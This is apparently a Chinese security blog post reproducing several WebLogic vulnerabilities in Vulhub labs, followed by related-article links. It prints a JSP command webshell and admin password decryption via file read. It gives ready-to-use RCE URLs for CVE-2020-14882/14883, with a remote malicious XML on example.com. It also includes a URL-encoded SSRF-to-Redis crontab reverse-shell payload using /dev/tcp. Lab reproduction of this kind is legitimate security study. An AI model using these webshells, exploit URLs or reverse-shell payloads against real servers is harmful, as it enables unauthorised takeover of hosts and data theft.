文章目录

  • 前言
  • Weblogic
  • 漏洞复现
    • Weblogic 文件读取
    • Weblogic 任意文件上传(CVE-2018-2894)
      • 漏洞概述
      • 漏洞复现
    • Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
      • 漏洞概述
      • 漏洞复现
    • Weblogic SSRF漏洞(CVE-2014-4210)
      • 漏洞描述
      • 漏洞复现
    • Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
      • 漏洞描述
      • 漏洞复现

前言

本来想跟一些T3反序列化的,奈何本地环境怎么都起不起来先复现一下常见漏洞吧。。。

Weblogic

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。

漏洞复现

Weblogic 文件读取

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

弱口令直接登录

  • weblogic
  • Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

除此外如果站内存在任意文件读取也可以通过读取秘钥文件来爆破密码

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

这套环境模拟了一个任意文件下载漏洞

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

读取秘钥SerializedSystemIni.dat,复制可能会受到一些不可见字符影响,所以copy to file

读取密文./config/config.xml找到<node-manager-password-encrypted>的值,即为加密后的管理员密码

用weblogic_decrypt.jar解密也能成功解出秘钥

进入后台后部署webshell

test.jsp

<%if("Sentiment".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

生成war包

jar cvf test.war test.jsp

设置路径并上传war文件

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload

下一步设置访问shell文件的根目录路径

设置好后直接shell文件执行命令即可

Weblogic 任意文件上传(CVE-2018-2894)

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

漏洞概述

Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。

影响版本

weblogic 10.3.6、12.1.3、12.2.4、12.2.1.3

漏洞复现

执行docker-compose logs | grep password查看密码,用户名为weblogic

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项,开启后就存在此漏洞了(漏洞存在于 http://your-ip:7001/ws_utc/config.do)

访问http://your-ip:7001/ws_utc/config.do设置 Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

点安全—>添加上传webshell

上传时抓包查看时间戳

获取时间戳之后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]执行命令

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

漏洞概述

cve-2020-14882(代码执行漏洞) ,在打完补丁后又出现了补丁被绕过的漏洞 cve-2020-14883(权限绕过漏洞),远程攻击者可以配合这两个漏洞构造特殊的HTTP请求,在未经身份认证的情况下接管 Weblogic Server Console,在控制台中执行任意代码。

CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883允许经过身份验证的用户在管理员控制台组件上执行任何命令。利用这两个漏洞的链,未经身份验证的远程攻击者可以通过HTTP在Oracle WebLogic服务器上执行任意命令,并完全控制主机。

影响版本

Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

漏洞复现

访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal即可未授权访问到管理后台页面

但登录之后是低权限用户,无法安装应用也无法执行代码,就要用的CVE-2020-14883来执行命令了。两种方式:

  1. 通过com.tangosol.coherence.mvel2.sh.ShellSession

    直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令

    http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
    

    这个利用方法只能在 Weblogic 12.2.1 以上版本利用,因为 10.3.6 并不存在com.tangosol.coherence.mvel2.sh.ShellSession

  2. 通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

    这是一种更为通杀的方法,最早在 CVE-2019-2725 被提出,对于所有 Weblogic 版本均有效。

    首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

此漏洞利用的缺点是,它需要 Weblogic 服务器能够访问恶意 XML。

Weblogic SSRF漏洞(CVE-2014-4210)

Oracle WebLogic UDDI Explorer Home

docker-compose up -d

漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

weblogic 10.0.2 – 10.3.6

漏洞复现

访问http://192.168.199.155:7001/uddiexplorer/无需验证即可以查看uddiexplorer应用。随便穿个参,修改operator后发现可以内网探测,当地址不存在时会返回(could not connect…)

用这种方式可以尝试打redis,先查看下redis的地址

docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)

探测该地址发现也是存在的http://172.23.0.2:6379,那就可以打redis了

# redis 定时任务反弹shell 命令
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/IP/4000 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

url编码->%0a替换成%0d%0a->最后再加上%0d%0a

http://172.23.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F4000%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

发包后等待定时弹shell,反弹成功

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Vulhub - Docker-Compose file for vulnerability environment

漏洞描述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本

weblogic 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

漏洞复现

访问http://ip:7001/wls-wsat/CoordinatorPortType,出现该页面则证明XMLDecoder 反序列化漏洞存在

抓包发送数据(其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误;还需要注意一下content-type类型)

也可以利用xml写shell

访问http://ip:7001/bea_wls_internal/test.jsp?pwd=Sentiment&cmd=id,即可执行命令

[Java安全]—weblogic常见漏洞相关推荐

  1. Weblogic 常见漏洞汇总

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式Web应用.网络 ...

  2. Weblogic 常见漏洞分析与利用

    0x00 前言 一直没有系统的总结过 weblogic 的漏洞,今天通过 vulhub 靶场来复现几个经典的案例. 0x01 基础知识 weblogic简介: WebLogic 是美国 Oracle ...

  3. weblogic常见漏洞

    文章目录 CVE-2017-10271 CVE-2018-2628 CVE-2018-2894 CVE-2020-14882 SSRF漏洞配合Redis Weblogic文件读取 CVE-2017-1 ...

  4. weblogic ssrf漏洞复现

    采用的虚拟机环境为ubuntu16.04,在虚拟机上搭建好docker环境.采用的vulhub来进行复现. 使用git来下载,命令为git clone https://github.com/vulhu ...

  5. 常见漏洞知识库(原理/场景/修复)

    Jsonp漏洞 0x01 漏洞描述 1. 一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面.动态网页.web服务.WCF,只要是跨域请求,一律不准. 2. 不过我 ...

  6. java反序列化weblogic_[Todo]Java反序列化-weblogic

    从weblogic开始 weblogic是什么 中间件(Middleware),Oracle定义中间件的组成包括Web服务器.应用程序服务器.内容管理系统及支持应用程序开发和交付的类似工具,它通常基于 ...

  7. android WebView详解,常见漏洞详解和安全源码(下)

    上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑.  上篇:android WebView详解,常见漏洞详解和安全源码(上)  转载请注明出处:http ...

  8. android WebView详解,常见漏洞详解和安全源码(上)

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  由于博客内容长度,这次将分为上下两篇,上篇详解 WebView ...

  9. 什么是CVE?常见漏洞和暴露列表概述

    常见漏洞和暴露(Common Vulnerability and Exposures,简称CVE)收集了已知的网络安全漏洞和暴露,以帮助您更好地保护您的嵌入式软件. 在这里,我们会阐释什么是CVE,C ...

最新文章

  1. android 5.0 9300,三星Android5.0升级名单曝光 S2止步4.2
  2. oracle 系统时间前半年,oracle中将选定日期(年月型)减去1年
  3. 【Android 应用开发】Android中的回调Callback
  4. mysql主从 1050错误
  5. KSS2-成本中心作业价格分割(错误!!!)
  6. 放大缩小保证div对齐_GraphPad Prism 绘图教程 | 如何在图表中对齐对象
  7. CodeForces - 1350C Orac and LCM(数论)
  8. Error:express-session deprecated undefined resave option; provide resave option app.js:17:10
  9. 9.Linux 高性能服务器编程 --- IO 复用
  10. arduino秒退解决方法
  11. PHP环境精简,EasyPHP 17下载 EasyPHP Devserver 17.0 lite php开发环境 官方精简版 仅WindowsXP/Win8 下载-脚本之家...
  12. CSA FT1、FT2、FT4、FT5 和 FT6
  13. unity响应键盘的组合键
  14. linux搭建饥荒服务器
  15. 深入探索Android卡顿优化(下)
  16. linux /dev/dsp: 没有那个文件或目录 解决方法
  17. 【神经网络务实:Deepin Linux 安装使用yolov5】
  18. 企业被抽到高新现场审查怎么办?深科信教你做好这些准备
  19. 宋宝华:Linux内核中用GFP_ATOMIC申请内存究竟意味着什么?
  20. Android开发实战《手机安全卫士》——11.“进程管理”模块拓展 窗体小部件 生成快捷方式

热门文章

  1. .net core minimal api 上传文件
  2. Win10 EasyUEFI装Centos 没用U盘做启动盘 失败 遇到问题 之所以不愿意做启动盘因为装win10是EFI 所以EasyBCD无法使用 以后还要装三系统 不能用Centos自带引导
  3. 2021年,掌握这13个Java核心技术栈,你也能拿30K!
  4. 命卦计算公式与吉祥方位
  5. NeoRS:新生儿静息态fMRI数据预处理流程
  6. php制作普通网站流程图,分享在线制作流程图的网页
  7. css div横屏超长滚动,CSS实现DIV超长截断,并显示...
  8. 面经 | 百度/寒武纪/作业帮/科大讯飞/追一科技/腾讯NLP
  9. 坑!页面短视频加载又卡又慢?阿里P8大佬教你两套办法秒开短视频!
  10. (翻译)2022 年免费的 4 个最佳文本到语音在线工具